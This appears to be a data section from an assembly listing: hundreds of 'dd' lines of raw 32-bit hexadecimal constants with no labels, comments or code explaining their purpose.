dd 0B0EAC6FFh, 9AF890D2h, 0C20447A7h, 1B21B6C3h, 97E493D0h
dd 0C0222949h, 1FFE10BBh, 8A0F946Dh, 0FA81E51Dh, 0FCDF4C7Bh
dd 2A6DB454h, 62ECA8E5h, 17E6A1CEh, 0B5CAA6BFh, 0DE008B62h
dd 38645AA9h, 342909CEh, 0AA72BE78h, 0D69A613Dh, 2BFAEBA4h
dd 0EE707E4Eh, 0A3FFA167h, 0B6F3EBD8h, 77DF8197h, 9E2D2645h
dd 216553Bh, 8C817F94h, 5F88A78Ah, 0AA3CA50Ah, 0D9B41D3h
dd 0D7041251h, 5A668AF8h, 1409A8A9h, 0C7B8FEAAh, 0CC1261B9h
dd 2E50656Ch, 3A9ACBEFh, 301D74A2h, 1D776A9Eh, 426FA730h
dd 2F56C489h, 7D30F095h, 4BD87B69h, 0DF84FA6Ch, 6908507Ch
dd 0CCBFC8CBh, 4B6E2D2h, 710EAE73h, 0A7664AE3h, 68C0D958h
dd 0A07E9315h, 1E90D4E5h, 97B54C8Eh, 0F0BF323Ch, 130EACCDh
dd 7BB9041Fh, 0EDF12393h, 5DF0156Dh, 835C8BF2h, 19958FC1h
dd 0AFF55BE9h, 7197F1Dh, 9056AAC1h, 0E25D5DD5h, 5863ECDAh
dd 820785C1h, 86EEDB7Bh, 3D357FEAh, 8958F270h, 6D78042h
dd 85AFDACh, 0E73A5A60h, 0C95D3C28h, 0A61278FBh, 34743264h
dd 273BA15Eh, 0E10BB556h, 2BA3313Ch, 9555CCFAh, 0B4744C13h
dd 8482344Eh, 0AF428D50h, 0E56D1499h, 86822ABh, 0B6E8E0Dh
dd 0E2812BC8h, 0A19A9DE8h, 44B4219Eh, 3DEB4BB7h, 59731ABFh
dd 73761BD9h, 0EAD62EFEh, 0D7B6E222h, 88858164h, 0B95981FDh
dd 9FE5B735h, 1BC8DD87h, 1F655626h, 3B57C75Ch, 952DD893h
dd 6B8F1553h, 0E08667A4h, 99CE707h, 0A96BC9A9h, 0A3B01A6Fh
dd 8FD40E96h, 2A0F2961h, 9399AA73h, 0EE30AEC5h, 0E37A75C3h
dd 0EAC27A9Eh, 58BA3473h, 3419EF78h, 6198DF30h, 3A0AB3E6h
dd 7E3BC356h, 378BCA94h, 40E4DFEEh, 697A5913h, 0C9551F1h
dd 310AE19Ah, 0B4AD6F11h, 4547E14Bh, 24FE6F05h, 42C3D6BBh
dd 1AD3EE3Ch, 0D066B69Dh, 1896C1F8h, 2F9EFDA7h, 0D4ED151Ch
dd 794955E5h, 0B3528C00h, 3F2A5CB6h, 0ADC7D237h, 93FD258Ch
dd 7572AF0Dh, 0D226998Ch, 21ACEFB7h, 0A5522F9Ch, 0D525D5DBh
dd 47A8C0A1h, 9DEDCC9Dh, 95C33B79h, 0A7E565EEh, 4273E0D9h
dd 879278FFh, 26B5ACBEh, 5C404562h, 1D993C61h, 15390FABh
dd 0C1C320D6h, 5D5A6540h, 0E1135688h, 2F95B5CCh, 0A129F97Ch
dd 0D79B0FCAh, 0BB07FB21h, 5CA44F94h, 0D66B0193h, 0E0E436BBh
dd 0ACA277Eh, 63F0BC2Eh, 0AADD0A72h, 52C1BF10h, 0D542E366h
dd 0CB17B66Ch, 0B392B732h, 2048CDD4h, 3C338CE8h, 7108266Fh
dd 47139354h, 83BEA4B3h, 0AC24D64Dh, 6B83076Ah, 7E37CAB3h
dd 1078750h, 9E5005F9h, 0E7CA52EDh, 379E4DD3h, 47162B88h
dd 9D76975Ch, 0FFC3C7DAh, 9258A1ECh, 23C4A2E2h, 0DAE02ED5h
dd 0E3DAA65Dh, 6D39273Fh, 23439BDFh, 9BBC739h, 9B7A2071h
dd 0DFE38D32h, 0DED634D9h, 95D569C5h, 0EC07F470h, 9545093Ah
dd 5D209CFEh, 21CB250Ch, 786F3575h, 0F49F1B5Dh, 3AB51379h
dd 0F690BAE0h, 0E625BB95h, 0F8A527B9h, 7D6014F5h, 0BD246CFAh
dd 348BB306h, 0C1F5CC78h, 64AD3BD8h, 0E4598882h, 0FA321C56h
dd 1FEFE2D0h, 0F0739E1Ch, 702BD8F7h, 293B441Bh, 5FE71228h
dd 12BB0C10h, 810CB507h, 0E847DFF7h, 0F41665AAh, 0B7803C90h
dd 0BF82825Fh, 3F35B79Ah, 0D28D07F3h, 5E4A53Eh, 0D196AB5Eh
dd 80CBEF15h, 572FF963h, 446C89EEh, 2B3BFEE5h, 79CF2F79h
dd 0AF83DAB1h, 0D7D51826h, 50C4E886h, 0C00360EBh, 968B8A6Bh
dd 0A284C16Eh, 2B596FC9h, 0A14DE512h, 8283ED9Bh, 0DE1021CBh
dd 0C2BB4B10h, 0F3DB741Bh, 8BBB51EDh, 0FF79297Ah, 0AAD0CB68h
dd 2F4D4F26h, 104DB292h, 7152C00h, 95B42456h, 0BB1EE1B7h
dd 0E92C9A32h, 8ACCB756h, 37244521h, 5E1D05FDh, 77BDDF96h
dd 0A004490Ah, 0FBD2129Fh, 8AA7C817h, 0EF68FE98h, 3FE1B220h
dd 0F9B11F6Eh, 916F17B6h, 0DE2BA79Ah, 85144311h, 0F1F58FD3h
dd 488053BBh, 0F8DC933Bh, 584EFC98h, 0D9478FE4h, 7FB750A0h
dd 0A3D605FFh, 7207BDFAh, 234E530Fh, 0EB4FCED8h, 95119B41h
dd 0E469B084h, 0B97C5CE8h, 61EF9FC7h, 0A936364Ch, 396153FEh
dd 87FAB0E6h, 18C73A30h, 9C1732FFh, 9BF4F231h, 0A247881Fh
dd 1D685CBFh, 0E969A380h, 0B43CBC3Eh, 63BD978Dh, 3A66EB2Ah
dd 2D5C8E5Dh, 0B74306EAh, 0C6A60013h, 0E17B2CBEh, 603F0ADCh
dd 29FDB604h, 0CA038AD8h, 72823623h, 205786DBh, 3602BB17h
dd 13B1EDEBh, 0CA071D73h, 0DC989598h, 3FBC03EAh, 9C18129h
dd 6D30AE36h, 601E9B5Dh, 0D2FCB6BCh, 0DAFB9004h, 40323D2Ch
dd 0C63D6DCAh, 75B7C905h, 397737B5h, 7A5D3020h, 0A3D2AD30h
dd 0A61101E3h, 62957DF9h, 37379745h, 0F502E300h, 0F93D9540h
dd 92124D55h, 94BED8Fh, 7AF2EA26h, 66FE7DE0h, 2F6B6E76h
dd 0FA0323B6h, 0FFDF5FB8h, 3FA7852Bh, 56CB9272h, 9DD689C6h
dd 7831EFB2h, 5FE48E0Ch, 0BCB412C6h, 21C21BECh, 189F8EC0h
dd 0DB9234BAh, 70F96605h, 0A471040Ah, 49DAD0ACh, 0E396F4F4h
dd 0FEDF8BF2h, 0E1C3A733h, 3C5BBBFBh, 1D23E9AAh, 6D34ECA6h
dd 0D9E1E7D0h, 132D7E6Bh, 1EF21863h, 0A6100F89h, 0CB96DF62h
dd 0B3934056h, 0BFB43B3Eh, 32070B84h, 60292527h, 219EBB6Eh
dd 0CB3D4C59h, 4256938h, 0B937E9B9h, 0BA6E0521h, 3380B716h
dd 60D6C4CCh, 0F6ED7A04h
dd 0F5A08D82h, 821C2A08h, 327FA9DBh, 737B6FCFh, 301E0CFAh
dd 3DEC3909h, 0AEF6AFAFh, 7C279F76h, 0CE455095h, 0A5457C53h
dd 47137428h, 3A305F53h, 957BB506h, 42A68F4Eh, 72D4E482h
dd 671232DAh, 7F745039h, 11F347E9h, 0AEDF3426h, 9D0EE9FAh
dd 0CB3D94C8h, 0FC0339AEh, 8B9EB6B5h, 0AED7113Fh, 78F1E0ECh
dd 0D1A2FB7Dh, 237E6A18h, 0D8FE0B25h, 0C5B75E6Ah, 0AC133535h
dd 4AD5441Fh, 14FEC222h, 0CA225347h, 83D2C0B5h, 0E896D538h
dd 0FA529165h, 617A8746h, 8575E35Fh, 2E5AED66h, 23E5607Eh
dd 7062A09Ah, 7A2970F3h, 8BE5D1Bh, 0A0E822BDh, 3CF95650h
dd 84A5883Fh, 62D67EE4h, 6002A0C1h, 0D761DEE0h, 6430DBEDh
dd 0ADA81E51h, 1B48290Bh, 0CDF56463h, 22C0669h, 253322AFh
dd 4F2F33A8h, 58B85C25h, 0A48052ECh, 0F60E3AADh, 0BF63A793h
dd 481BC1DBh, 3C6AE49Fh, 5DA4AED0h, 0C5835BDFh, 0B2B65F89h
dd 39CE2357h, 0BE25743Ch, 0C4E09D72h, 0ED6A8BFFh, 61D7367Bh
dd 14B8C22Eh, 0BCB26662h, 87A4CF79h, 93602964h, 0DAD2628Ah
dd 2F0A64DBh, 0E259881Fh, 603EF91Ch, 1B54EA56h, 0BE811DCEh
dd 14234019h, 470AAA3Fh, 0D755271h, 0F6AA1831h, 6DB4981Fh
dd 0D52AC6C5h, 9CFED0BAh, 0C2633329h, 44A8EA0h, 22ED083Bh
dd 8F06046h, 72FE5B53h, 4C6C1D85h, 0C9EEDE72h, 0FD6CEA8h
dd 8E0F9063h, 2D75E43h, 0DF20EE2Fh, 4FE4B183h, 0AC1BE430h
dd 84996151h, 173F4989h, 1EBBA2Dh, 89DA0B9Ah, 0CA2B9F6Ah
dd 0DDDCE06Ah, 1FAEA6EAh, 82B8508Dh, 4A8E122Eh, 84501513h
dd 251F23AAh, 71050698h, 0B6CD17EBh, 0EC5E5D87h, 0D7189427h
dd 0CB0B04C5h, 920294B6h, 71AE99D4h, 46DD1928h, 0EAA9FC3Eh
dd 0BB008E06h, 617DE42Dh, 6EC7FC57h, 20F127Ah, 2F85A007h
dd 0CB2236AEh, 9443A74Dh, 0A67548A3h, 0FF97E4h, 0C19F4E50h
dd 4808B062h, 51F30C88h, 9A902A43h, 444C305Fh, 71AE01E9h
dd 72363EADh, 51A1C70Ah, 16DE90E4h, 3F507E9Ch, 7FCD1275h
dd 48F8A9E6h, 78EAAFA7h, 5945DE4Bh, 0BD68E8Fh, 696B504h
dd 2596C951h, 0C91402B2h, 0F11FDCF4h, 1A2A7B84h, 47FC1D68h
dd 90221B29h, 3D437A7Dh, 275CCE07h, 8918A31Bh, 0E27CCB4Ch
dd 0F6D71ABAh, 42BD240Fh, 6FB9BFDBh, 13AB55D9h, 30113255h
dd 0FA90A89h, 0FBC9FDACh, 663845C2h, 7DC9BAACh, 2598EB88h
dd 8ECD28F5h, 3C7E156Bh, 0FD3603AAh, 5563771Eh, 0F4190B74h
dd 9254DEA0h, 0C24858C0h, 2A7CA01Ah, 699B12C2h, 16048FD2h
dd 6031800Ch, 0D5333CC8h, 32FDF4ABh, 0B8B9C073h, 817329Bh
dd 0F9331DFCh, 524A0A8Eh, 358A425Ah, 8A5F4A0Ch, 0C7435F68h
dd 0B6C08B1h, 4E393137h, 54BC1288h, 11F8FEB4h, 0ED9FBDCFh
dd 53D4FD9Eh, 74B6634Ah, 0F435681Dh, 686337B1h, 407ADAD9h
dd 49C825C8h, 9A61351Eh, 0F279B87h, 37195CE6h, 83DA4C2Dh
dd 9181EAB5h, 803F7C0Fh, 85A14AA4h, 0D86C4994h, 568DC6E4h
dd 42E6ABB4h, 0B9BEA60h, 0AAA5438Ah, 7A1C079Ah, 0FCFE8DF8h
dd 1D7AA75Eh, 709E2A15h, 0C4A72F53h, 31A29C97h, 8E341B4Bh
dd 2F296645h, 0A8FD6C8Bh, 0EF859211h, 55A18B7Ch, 9A6643F3h
dd 0AC151BD0h, 84BADECCh, 0A238A66Dh, 0BF8B7EFEh, 5E095843h
dd 2A753D7Dh, 1CD86206h, 9AC569F0h, 56A209BBh, 7DAF9D05h
dd 0E129C14h, 6163F8A5h, 6C53CFE2h, 526481F5h, 9BC0B34Ch
dd 0B7C21E2Ch, 0CF6ADD3Eh, 37DC427h, 4CA5695Eh, 9F43655Dh
dd 0AE94EEC7h, 0D981D97Ah, 6B4E20BEh, 0AE2682F9h, 6FB4861Bh
dd 3AC1401Bh, 0A39A7705h, 0AF655A15h, 86CBC6Ah, 0FC2F3166h
dd 47525740h, 363D89D7h, 0A595E429h, 2483910Eh, 52B77ABEh
dd 5098B8FCh, 0DC7D0F74h, 70283984h, 0C23CA7ACh, 997B5E51h
dd 0C725F9BEh, 0FF03649Dh, 8535D192h, 0AACBF665h, 0C1DF61FBh
dd 577828B9h, 0C06C9691h, 72AA3ECEh, 0EB01EB4Fh, 7AC84681h
dd 0DF14A5A4h, 0C18C84A5h, 90A127EEh, 0C5D05B50h, 70B347B1h
dd 7AAA3C59h, 8CAB1353h, 54590C36h, 60EB50C3h, 3747377Fh
dd 0D2032082h, 0D4BCAE6Fh, 0DF4CB327h, 0FBAB34ECh, 0E22F4924h
dd 50D48C2Ch, 0B7BC3D1Dh, 2309305h, 0EFD56262h, 234E5307h
dd 93C2B6AAh, 5D841283h, 57D1C8A7h, 6008D59Ch, 277F58ECh
dd 687AFCD8h, 819DC5C4h, 0DA49D86h, 0ADBA07D3h, 68F105FAh
dd 5752E116h, 0D37DFDBBh, 50627F80h, 6D4DADF1h, 4B839DEDh
dd 63821106h, 2DFE2DCCh, 40AF382Bh, 0C5A200D5h, 1E20FA29h
dd 0B00CE776h, 5AF82D79h, 0E4A36DA0h, 0AACEE723h, 5F031F37h
dd 45B7125Bh, 0EC2E6786h, 0E5907003h, 0B144CE58h, 0D9A52C10h
dd 381147A0h, 606197EBh, 9345D55Ah, 47154E54h, 254FB53Ah
dd 0BBF003D0h, 3FCE5DB6h, 3FDFB0B8h, 47917260h, 6D0A0466h
dd 0D6014021h, 0EABAE32Ch, 9932745Fh, 0B6185B05h, 621EDE8Eh
dd 1C2BFFF0h, 3753A995h, 0B3225BC7h, 0B84F9869h, 21737847h
dd 68B14D47h, 1866742Ch, 35C38527h, 743F283Ch, 3EA6A3C0h
dd 1AD15CAh, 156F5183h, 0DBE669A5h, 8A2C25E2h, 0C729E5ACh
dd 829AF09Ah, 87E29F5Ch, 15F5F58h, 780E3F60h, 0B598A9BAh
dd 0B39C2556h, 6F26797Bh, 0B3F6A292h, 0BC16D88Bh, 21221E71h
dd 8AF5A94h, 9785BDD1h, 762322C2h, 0E88F9514h, 0B863E352h
dd 0EAA2E82Ch, 1ADA39CCh, 527C068Eh, 528544D4h, 7D05E9A5h
dd 9F4CE0ACh, 0FFCBA920h, 62A02A02h, 856BCA3Dh, 0E9E9E18Eh
dd 62DA2946h, 0EDCA25D5h, 0CAEB20F7h, 57BE897Ah, 0DD332F90h
dd 3A6E2D44h, 0CC21FC25h, 0F638DBFBh, 825ECFE9h, 0B1B26F5Ah
dd 0C82427FFh, 519A9D9Eh, 48013B8Ah, 1FB755E0h, 0D0F1C926h
dd 0CD2086A1h, 0D994B19Bh, 9586BAF9h, 49B8B551h, 1DB84C6Ah
dd 9008037Dh, 15791BF5h, 5D16F0FFh, 572BDC0h, 9D9011DBh
dd 847D979Fh, 22291E42h, 785221A3h, 0EC6F7778h, 592D9A50h
dd 0C4FA6032h, 0EA487396h, 0D168AF51h, 94A5EA7Eh, 0A929293Ah
dd 41C59EC9h, 6C6FE279h, 8379B163h, 7ADFC4B6h, 72DD99FDh
dd 6B4A96E4h, 35F338FFh, 0C495F2FCh, 0D337AC5Dh, 8AD4C423h
dd 21332E5Dh, 4B9EE936h, 321DC50Fh, 2E07B989h, 6E890B94h
dd 78771EB6h, 4F6F5150h, 348A984Ah, 0F2139269h, 0E870A6B5h
dd 71F5CECAh, 662D8E28h, 10EDEEAFh, 0BCD00005h, 0F6C5ACDFh
dd 0A5DB3AA9h, 0EB3E5535h, 62797BBBh, 846B35D7h, 4401DF53h
dd 0A608322Bh, 86EBC530h, 4A6A71D7h, 0D11830ECh, 0FC3A6B80h
dd 0C36464ECh, 0F0AB3D22h, 3E19D6C7h, 0CF9B9D80h, 143D2F6Bh
dd 41A7B7E9h, 5CF31C56h, 1D550029h, 1FD06FC0h, 0A9EF5A03h
dd 0A8882467h, 121BECFBh, 0E1481B0Dh, 605CCE5Dh, 419B5E20h
dd 63047264h, 0F916B512h, 7AC2F583h, 10B60565h, 0D5F53DC0h
dd 0B5FB4C1Bh, 1A7C1BA2h, 0B8ACD544h, 0EFFA24BAh, 117C27h
dd 0D766E3CEh, 0EF4FFE90h, 1728EADEh, 0E67228A9h, 0A8394682h
dd 9443F034h, 32FACE60h, 0CA22079Eh, 0B69D8040h, 5E2B6886h
dd 3CEA78D8h, 0E285A896h, 771CED53h, 2AD93FBFh, 0CBC3944Eh
dd 505D1EE7h, 0D5C582F8h, 558F147Fh, 4816E503h, 0E15BBE27h
dd 24CD8AD6h, 7A055076h, 2A33D3F9h, 132E7B89h, 0F91E6770h
dd 0A239286Fh, 62BCA281h, 0E01DC866h, 0B8E20E5Bh, 20C4D3CEh
dd 0E35289Bh, 0D56E229Ah, 2C5EDADAh, 7904125Fh, 7ED5DAB0h
dd 329A1226h, 0DEAB0C72h, 693581DFh, 577AAD2Ch, 23027967h
dd 260570E7h, 78C6A475h
dd 35F408EBh, 603D398Fh, 0D3B68116h, 1FE5A7B8h, 0F9A02AF7h
dd 17E5B102h, 0B4FF7902h, 52576E9h, 58C92338h, 0C5A5C3D5h
dd 3DDCB5ECh, 90212EBAh, 6661236Fh, 2E701B2Fh, 170855A0h
dd 20B5FA87h, 0BD5F25AAh, 0CC41045h, 61D2FA47h, 0FBA22BB1h
dd 5F89A90Bh, 0E59C416Bh, 0F1089BEDh, 0DBBAFB47h, 967211D8h
dd 0F6644351h, 51367893h, 1DF8EED3h, 0BA780C6Ah, 2CC95288h
dd 0F0582175h, 6A1193BDh, 1462C80h, 9BE8E076h, 0D174CBABh
dd 0D2CEA367h, 577EB1E1h, 480C595Ch, 8D35C00Fh, 0AD950Eh
dd 0A0EABF26h, 625DFA4Dh, 6B346662h, 0B9471254h, 2150C60h
dd 1C0CB90Bh, 0EA825661h, 0BD311801h, 6C3CCB37h, 0FEDB6FDEh
dd 81818120h, 7137DB18h, 4CA273CBh, 402F0657h, 2254B18Dh
dd 126593F2h, 70C8F689h, 19E8AB70h, 0BBC44EEEh, 0E9F3AA4Bh
dd 36570037h, 984EFBCDh, 0DF0B62D7h, 0F4434084h, 0E4C9B7D5h
dd 0F6AADA81h, 7E6FCEEh, 59FEC33Ah, 0EF75A13h, 6134339Fh
dd 0AFF134B1h, 0E3E349Bh, 67B1CA68h, 5B1BA384h, 9D3D99C7h
dd 1D8BE76Ah, 5AB1CB92h, 0ADFF1057h, 83D6736Dh, 36723051h
dd 4403DDEDh, 79872709h, 587F1C71h, 88AB0F2Ch, 0CF4FF343h
dd 0F69BCD4Bh, 73CE40AFh, 0B74E6A45h, 4E560373h, 870A6F9Ch
dd 0AD6AA02h, 9A772353h, 0BBD24486h, 9D6A0C3h, 5E21FAE2h
dd 8DB547EDh, 0DB4355F3h, 373C3BA5h, 0D480CDE6h, 0FF58C780h
dd 0D89D8252h, 0DD79C18Eh, 0F6675635h, 324AA168h, 28A7EF33h
dd 594864D6h, 0FB067A61h, 635576F6h, 2CD89FBDh, 0B018778Fh
dd 0EAAD81CEh, 0D2B41DB9h, 0D4EBAE43h, 0CFD68BF7h, 750283C4h
dd 2C42A290h, 0CBD13592h, 20669559h, 0FE460F90h, 6148641Fh
dd 0CCFFF1A5h, 7884F65Dh, 37D098h, 4FF3E9BFh, 7DE9AD9h
dd 51B7965Ah, 0B3B6A7Bh, 24BD77E7h, 0A987CEB3h, 4FE58793h
dd 1E2456B5h, 1E54FA1Bh, 0FBA47B5Bh, 42F42C1Fh, 7815B6Bh
dd 63D6961Bh, 0BB33AA9Bh, 93242C8Dh, 0BE940EF3h, 8C710A2Eh
dd 0BA816D6Dh, 0F5C5A7E8h, 9BC64BFBh, 0D377C361h, 0A6A51200h
dd 9E2954D8h, 0E08B4B86h, 0FDBDCB5Bh, 375A1F7Eh, 2205E4C6h
dd 8CF7F197h, 9D8CA55Eh, 0EA4E4878h, 56E2E92Ah, 0C83E1C89h
dd 0CA8BFF7Fh, 3AA21800h, 46DB3D30h, 0F2D13436h, 0ADCC31DEh
dd 0A9C81D2Eh, 0EC85E518h, 0D474D7E7h, 48A90FACh, 4A0D403Ah
dd 822B1BD6h, 6DB0226Eh, 68781486h, 0F1649C41h, 3F610719h
dd 0DC4215ADh, 0FC63CBD2h, 90C56E71h, 0A76F8C01h, 0B611568Ch
dd 8A8A7457h, 4715210Fh, 6DF01929h, 65AF708Bh, 2A7C8DC4h
dd 798D966Ch, 79086EBEh, 0A094402h, 0FBCA1532h, 885EDB6Ch
dd 0CE58C10Ch, 0D73A4146h, 0DC2B52BCh, 660BE0C5h, 0FDF9220Eh
dd 361C3FC8h, 201E6C1Dh, 97958913h, 0CD15F1F3h, 84E2E2CFh
dd 0AAD73944h, 34963DB2h, 7F0E2A70h, 0CDF4A97Ch, 194CA935h
dd 0EBE3E0A3h, 96150173h, 850B4E9Fh, 0C92B6C86h, 0CFA3ABC9h
dd 287A3A74h, 435FD1F8h, 6F0A1616h, 0B5862917h, 0C208C030h
dd 15189B07h, 0D1AD4ACFh, 25F05F36h, 7CB90B99h, 98A69185h
dd 1D34AC2Dh, 0B04FE301h, 350960F7h, 5997DCCDh, 0C8A7338Dh
dd 0BC0A8674h, 0BED1AF3Ch, 0D6054AA3h, 6FBD7B2Dh, 0D819F748h
dd 44D12B38h, 546500E2h, 0F7527900h, 0C23CB320h, 19D89ED6h
dd 9BD44F34h, 0B604C034h, 0E5DE7956h, 0F39FC8E2h, 2C0F7850h
dd 0A4F411CEh, 0EE95EA75h, 2E8360F8h, 0F90249D2h, 71DF422Eh
dd 43F2206Fh, 0DDC8E86Dh, 834B852h, 40206E18h, 1836FE4h
dd 0FBAB9456h, 33C35B58h, 337F9D9Ch, 4ED37472h, 0F6DFD40Ah
dd 37627960h, 5010F488h, 0B4B06B48h, 17DEA3F5h, 0E3AF0038h
dd 6D332B2Ah, 509D7825h, 0BA05E7F7h, 2B805AD6h, 0A497499Dh
dd 598788C3h, 32FB3157h, 3DC8F87Fh, 247EAE50h, 0A61A81E0h
dd 6D4AAE09h, 29013A75h, 98DE647Eh, 5133952Dh, 0F3526731h
dd 1207CC0Ch, 0D50F0F8h, 858B5882h, 17337DE0h, 0D92D10E6h
dd 6CB49668h, 0AC9E9986h, 13317B18h, 1DAA9865h, 9567C86Eh
dd 0DB016A2Ah, 94FA162h, 2280A9A0h, 0B763F3Ch, 7DF0D375h
dd 839E8D2Eh, 8B106761h, 0F25FAF06h, 0ADE61E71h, 404659F3h
dd 4178D7F6h, 1AEE062Ch, 423DA3Eh, 8CCD3838h, 0AFEF627Bh
dd 4A3DDDCh, 2D3C4BB1h, 0E5FC4DD1h, 0D4128B8Bh, 2F92BBC0h
dd 3607C9CCh, 6BA2776Dh, 634184EEh, 2FBD2E54h, 839127B3h
dd 0CC0DA671h, 0FE6C8AE9h, 0E7FBEB3Ch, 78B19AB0h, 0F1F5A08Bh
dd 0D8C111D1h, 99793947h, 0B8FCD90Dh, 4DF6C01h, 75B8564Ah
dd 9B860114h, 67B16D8Ch, 3D3C47CDh, 0FE9CA84h, 0F7EBF5Ah
dd 5F0007ABh, 8DF5EDFCh, 0EB9795A9h, 0B50435AEh, 7B41516Eh
dd 0CADA4E2Bh, 0F4E63E2Bh, 0E147194Eh, 6FE292C5h, 6C40C11h
dd 0C9A1AB87h, 2E35072Dh, 49BFA8B9h, 0D46B32D2h, 0AAB56FCh
dd 9B6002A9h, 0DB82A854h, 5EBC4BA6h, 8A31FC7Bh, 0BFAD10F9h
dd 4600DB53h, 2D60EACEh, 446F0D36h, 905EA80h, 241B5545h
dd 170CD6F4h, 0A7BD145Ah, 0EEBBAE80h, 92DD7580h, 6863AF15h
dd 27DA8A37h, 7D906F5Eh, 219E1BB9h, 0DF67AA62h, 0CF1E4AA7h
dd 0AC54F1EDh, 796DF963h, 0E4D4D9F8h, 9154D918h, 0CC5857F7h
dd 0A60C2B34h, 7087DC8Eh, 4F95D5A0h, 0C1070126h, 7E5047CEh
dd 0C6B52976h, 0E134F897h, 2A6E1B0Ah, 8602BAE7h, 0E0B59C08h
dd 0CF0867A5h, 9E642A12h, 3BAAED6Dh, 38CA116Dh, 0E04EECF4h
dd 0C58A9ECFh, 0B8DC335Fh, 706604D2h, 0B15B8E18h, 0EC7C6139h
dd 784C2930h, 0DEE15867h, 0DBBBC434h, 6D1E256Bh, 0F6AA44AAh
dd 0E293BA7Fh, 0D2FF0201h, 4647BA5Ah, 0D1A0B801h, 76B04D70h
dd 316430FFh, 0AD8E8B00h, 64A38E14h, 0E98FE8A8h, 0F96065F6h
dd 44216EA3h, 0B3E084CEh, 5DD2DD5Ch, 8A5D9763h, 319B2333h
dd 296093EBh, 24934CBBh, 38554283h, 21A58E06h, 93D4D482h
dd 0EAB8F7C1h, 0B80343DCh, 90C89336h, 98BAD12Ah, 6A53892Ch
dd 8A1F5A82h, 0B5745A88h, 0ADCE57ADh, 0C531763Ch, 0D562485Bh
dd 5AF4EE7Fh, 273560EAh, 6423D836h, 72A5BD88h, 590F91D8h
dd 0A9173A23h, 66979655h, 0FCA42629h, 9D98BBB9h, 84C02AFAh
dd 265E0CEDh, 0E331D4CFh, 2A143083h, 0D31841A7h, 0D8C7DDD8h
dd 46B1EBE8h, 1D41909Fh, 0D0C38145h, 0E4C31FF5h, 824F873Ch
dd 6B30DF00h, 0A7AC07D3h, 55920FA9h, 0D9455BCDh, 70E07201h
dd 0AB61CD5h, 7315EC0h, 0E2C6D834h, 3EE14493h, 582A46C4h
dd 0E6641850h, 9E5084Fh, 32469983h, 60566116h, 0A61804C9h
dd 0F155CD9Bh, 4BE3F657h, 16486587h, 3424E957h, 0F0E2B179h
dd 79464CD4h, 2B9CA68Ch, 7E1D5BC9h, 14BA8C22h, 85BE0226h
dd 5F1F3F96h, 8DC8A8C4h, 3F98FC7Bh, 0FD8FAD0Bh, 1AAD106Ch
dd 0A7CAC15Bh, 1B9C129Bh, 0DDCC5FA5h, 0C303B675h, 2C3D44DDh
dd 0E610145Eh, 522F1297h, 1F9FCD75h, 65DBC06Ah, 78DFE6Dh
dd 0F81EC573h, 17FF1C93h, 6906FAB1h, 0CE3BF251h, 1E2677D4h
dd 50FE2B8Ah, 6FB746F1h, 0C4C4C623h, 0C19D351Ah, 55C16428h
dd 4342D911h, 448C9054h, 32EB924Ch, 5850EA1Ah, 0C0DDCDE3h
dd 2E077B10h, 0DABE0B35h, 0A99ED443h, 24D44496h, 606D631h
dd 940DA1C1h, 97B7CB13h, 0C9819F3h, 2BED0991h, 0E6C1903Fh
dd 69128600h, 84BAF832h, 1FA9CC01h, 0B2EECF00h, 2D96FB3Eh
dd 1B2D6A14h, 0FF99D5D6h, 9FB2C0D3h, 59EE700Eh, 566FF5B5h
dd 0B5ED2Fh, 0B0BBCA2Fh
dd 0E06F013Ch, 9B6A799Dh, 34279EC3h, 649B1D42h, 470A80DDh
dd 84041D46h, 0E6EE91EEh, 0B9FA040Ch, 905A65B8h, 23A28934h
dd 5EAE4303h, 47ED8EEh, 0E3EEDFA5h, 2739F5C1h, 0BE93A165h
dd 46A8C339h, 99E821B8h, 0A99CAB5Bh, 4BC2B90Ah, 35EE1919h
dd 33999B96h, 9E004B1Dh, 10E2E7B6h, 49839BBBh, 0BAB5C705h
dd 0C9B29077h, 74F585DDh, 0B12BFFD5h, 0B09C1F38h, 430EE3C9h
dd 9EC656C7h, 717ADF3Ah, 38A61A19h, 0B482C2BEh, 78C40C63h
dd 38147E81h, 4433D9Fh, 0A77EAA67h, 3FE6166Eh, 0E62B67FFh
dd 1B909118h, 0C41F763Ah, 880F4362h, 0DAAACA2Fh, 22A6592Eh
dd 2E8497E3h, 0A4E92169h, 17A48Dh, 0E26CFE42h, 0ADB83386h
dd 12E4E180h, 0DE5C5ADAh, 0FC0BEA80h, 17AC9670h, 3D4BE979h
dd 3038CB68h, 19DB41B6h, 0FD643291h, 0BB8EC58Ch, 4D85862Ch
dd 71076B0Bh, 0A2D2C3D4h, 24F16851h, 7C4ABAh, 1813501Ch
dd 97740879h, 0ED0F5162h, 7775E6CEh, 97B6F040h, 0C7333E42h
dd 0BC3C8E18h, 0CA388C66h, 0E8B9846Fh, 3446EE26h, 928C9C7Eh
dd 0E4816E26h, 0ED40C466h, 4EF47641h, 36BE0766h, 88C40D7Ah
dd 7040656Ah, 4B16A482h, 874A101h, 0B5E266B2h, 0AED47C58h
dd 0C48F5C6Dh, 0CC4CA704h, 0FE803D80h, 0D2C17C3Fh, 2F912FD4h
dd 5C7264C1h, 0D2604188h, 13D0CA1Eh, 68B92D8Eh, 7D04082Fh
dd 0C8AEEDF5h, 0BF7F4080h, 0DBA78120h, 2B14FEADh, 14137364h
dd 6FAD4A81h, 3AA87D4Eh, 0C29EA929h, 16740639h, 6F9E6F64h
dd 21E65BE0h, 7EF1B2CEh, 0C1C04D17h, 0CCEAECC3h, 0BFC79666h
dd 76747641h, 0AF10DC90h, 0E9477D3Eh, 0F4CB71BCh, 0FAC122DFh
dd 24425C33h, 0E9E92FD1h, 76EFB6B7h, 50F42835h, 59F6A45Ah
dd 0B2AE852Dh, 33355DAh, 96684B95h, 0D22D99ACh, 5DBE3637h
dd 0FFE2EB58h, 0D96A6836h, 0C21BE492h, 2417B760h, 8D664CC1h
dd 7ED6F8C3h, 3F0E7908h, 0BC2C027Fh, 5052895Bh, 5BE2AF94h
dd 7640FD97h, 0B0BB22D7h, 9113709Bh, 29260B69h, 494EBB9Dh
dd 752ACB6Bh, 0AC01D768h, 0FE4355AFh, 0D268F739h, 31732489h
dd 9A0D0854h, 6FC95BEFh, 1576B03Bh, 545BEF5Ah, 0C1F3E325h
dd 99ABD0D3h, 6190356Dh, 0B74A41A9h, 0DA5F4457h, 0BA66376Ch
dd 402BFDE3h, 0E90D08B1h, 0B9A9B600h, 6C68ABB9h, 0CB8D6CF3h
dd 0E3BFFD21h, 0A9EADDA2h, 9D7CE040h, 436DBB7Bh, 6E56B51Ch
